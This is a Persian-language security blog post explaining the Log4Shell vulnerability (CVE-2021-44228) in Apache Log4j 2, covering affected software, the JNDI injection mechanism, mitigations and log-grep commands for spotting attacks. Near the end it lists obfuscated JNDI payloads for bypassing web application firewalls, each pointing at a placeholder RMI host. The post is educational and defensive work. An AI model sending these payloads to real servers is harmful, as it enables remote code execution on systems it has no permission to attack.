تحلیل و اكسپلویت آسیب پذیری log4shell و روش های رفع این آسیب پذیری
همین چند روز پیش، در ۹ دسامبر ، محققان کد سوءاستفادهی اثبات مفهوم (PoC) را برای یک آسیبپذیری مهم در Apache Log4j 2 منتشر کردند. این آسیب پذیری مربوط به کتابخانهی گزارشگیری (Logging) جاوا بود.از آنجا که این کتابخانه بر پایهی جاوا است، این احتمال وجود دارد که ۳ میلیارد دستگاهی که از جاوا استفاده میکنند نیز در خطر باشند! این کتابخانه توسط بسیاری از برنامهها و سرویسها مورداستفاده قرار میگیرد، سرویسها و برنامههایی نظیر:
• Apache Druid
• Apache Flink
• Apache Solr
• Apache Spark
• Apache Struts2
• Apache Tomcat
• و…
همهی این سرویسها توسط تیم Apache و به صورت اوپن سورس ارائه شده است. (البته محدود به سرویسهای زیر نیست)
آسیب پذیری log4shell از کجا پیدا شد؟
ماجرای کشف این آسیبپذیری با گزارشهایی آغاز شد که نشان میدادند که چندین نسخه از بازی ویدیویی محبوب sandbox، بازی Minecraft، تحتتأثیر این آسیب پذیری قرار گرفتهاند
این آسیب پذیری در ادامه هم بسیار خبرساز شد! حتی شرکتهای بزرگی مانند Apple، VMware، Twitter و … آسیب پذیر بودن خود نسبت به این آسیب پذیری را تایید کردند.
شدت خطر آسیب پذیری log4shell چگونه است؟
این آسیب پذیری در محاسبهی شدت خطر و حساسیت طبق فرمول CVSS، مقدار 10 از 10 (حداکثر مقدار ممکن) را کسب کرده است! این میزان حساسیت و خطر باعث شد که مدیرعامل شرکت ارائهدهندهی خدمات ابری CloudFlare در توییتی برای مخاطبان و مشتریان خود، درصدد ارائهی راهکار برای جلوگیری از سوءاستفادههای ممکن از این آسیب پذیری برآید.
چه کسانی تحت تاثیر قرار میگیرند؟
اگر در هر یک از مراحل پردازش درخواستهای HTTP یکی از پارامترهای Body, User Agent, URL, Referer را لاگ میکنید و یا از یکی از محصولات نوشته شده با جاوا مانند محصولات شرکت آپاچی استفاده میکنید، به احتمال بسیار زیاد تحت تاثیر این آسیبپذیری قرار میگیرید
تحلیل و بررسی آسیب پذیری log4shell
بگذارید به سراغ توضیح تحلیل و بررسی این آسیب پذیری که از سوی محققان log4shell نامیده شده است، برویم. شناسهی آسیب پذیری CVE-2021-44228 مربوط به یک آسیبپذیری اجرای کد از راه دور (RCE) در Apache Log4j 2 است. یک مهاجم از راه دور میتواند با سوءاستفاده از این آسیب پذیری، یک درخواست جعلی خاص به سروری که نسخهی آسیبپذیر log4j را اجرا میکند، ارسال کند. درخواستی که از تزریق نامگذاری جاوا و رابط دایرکتوری (JNDI) از طریق انواع خدمات دستکاری شده، خدماتی از جمله:
• Lightweight Directory Access Protocol (LDAP)
• Secure LDAP (LDAPS)
• Remote Method Invocation (RMI)
• Domain Name Service (DNS)
در سرویسهایی که از کتابخانهی log4j برای گزارشگیری درخواستهای خود استفاده میکنند، این کد مخرب ( exploit ) باعث میشود که کد JNDI که توسط مهاجم به سمت سرور ارسال میشود، کنترل نشود و درخواست ارسالی از سمت مهاجم با موفقیت به اجرا درآید.
معماری کلی از نحوهی اکسپلویت این آسیب پذیری:
تکنیک jndi injection :
در اکسپلویت این کتابخانه از روش jndi injection استفاده شده که همین روش در سال ۲۰۱۶ در کنفرانس بلک هت آمریکا black hast 2016 usa تشرح داده شد که در ویدیو زیر قراره به صورت تکمیلی به این اکسپولیت هم بپردازیم
بررسی فنی و اکسپلویت آسیب پذیری log4shell
برای مشاهده ویدیو حتما vpn خود را روشن کنید و حتما کانال یوتوب ما رو هم دنبال کنید !
نحوهی جلوگیری از آسیب پذیری log4shell
بر اساسی گزارشی که شرکتApache منتشر کرد به کمک روشهای زیر میتوان در برابر این آسیبپذیری ایمن بود:- بهروزرسانی به نسخهی Log4j 2.16.0
- اگر از نسخهی Log4J 2.10 و بالاتر استفاده میکنید و امکان آپگرید ندارید این مقدار را در تنظیمات وارد کنید:
log4j2.formatMsgNoLookups=true
- کلاس JndiLookup را از مسیر کلاسها پاک کنید. مثلن میتوانید از دستور زیر استفاده کنید:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
با توجه به اهمیت سرویسهای لاگ در محصولات ابری آروان، برای پردازش لاگها در قسمتهای متعددی از ابزارهای توسعه داده شده توسط آپاچی استفاده می شود:
- Apache Kafka
- Elastic Search
- LogStash
- Apache Flink
- …
چگونه میتوانیم بفهمیم که آیا از طریق این آسیب پذیری موردحمله قرار گرفتهایم؟ یا نه؟
با این حجم گستردهی سامانههای درگیر با این آسیب پذیری و خطراتی که این آسیب پذیری دربر دارد، بهتر است تنها به بهروزرسانی اتکا نکنید. چراکه ممکن است در بازهی زمانی گذشته سامانهی شما هم از طریق این آسیب پذیری مورد سو استفاده قرار گرفته باشد. برای این که بررسی کنید که « کسبوکار شما مورد این حمله در این بازه زمانی مشخص قرار گرفته یا نگرفته است؟» میتوانید با این دستورات لینوکسی ساده، به راحتی لاگ فایلهای وب سرور خود را بررسی کنید.
$ sudo cat /var/log/nginx/access.log | grep jndi
$ grep -r “jndi” /var/log
نمونه پیلود هایی برای بایپس WAF :
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
منابع :
- https://logging.apache.org/log4j/2.x/
- https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution
- https://logging.apache.org/log4j/2.x/manual/lookups.html
- https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
- https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/bltd74dc96ce5de31b8/SANS_Log4j_Emergency_Live_Stream.pdf
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html
- https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
- https://github.com/christophetd/log4shell-vulnerable-app/blob/main/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java
- https://codechina.csdn.net/mirrors/feihong-cs/JNDIExploit/-/tree/master/
- https://www.cynet.com/log4shell/
- https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
- https://github.com/mbechler/marshalsec
- https://tryhackme.com/room/solar
اگر این تحلیل برات مفید بود حتما این پست
تحلیل و آنالیز آسیب پذیری CVE 2021-40444 هم مشاهده کن !
دوره ای در زمینه تست نفوذ وب
دوره آموزش مبانی تست نفوذ وب
توجه ! دوستان عزیز فعلا تا اطلاع ثانویه ادامه دوره ریکورد نمیشود ( بزودی برمیگردیم..
مطالب زیر را حتما مطالعه کنید
10 افزونه برتر Burp Suite برای تست نفوذ
DNS Rebinding چیست و چگونه کار می کند؟
بررسی گواهی ssl/tls با ابزار TLSx در باگ بانتی
autonomous system یا ASN چیست؟
تحلیل و اکسپلویت آسیب پذیری Spring4Shell
APT چیست؟ : ( Advanced Persistent Threat )
3 دیدگاه
به گفتگوی ما بپیوندید و دیدگاه خود را با ما در میان بگذارید.
اموزش استفاده از این اکسپلویت رو هم قرار بدید
سلام دوست عزیز قرار دادیم تو همین مقاله یک ویدیو هست تو اون ویدیو بعد از تحلیل اکسپلویتش هم گفتیم
عالی بود دمتون گرم مرسی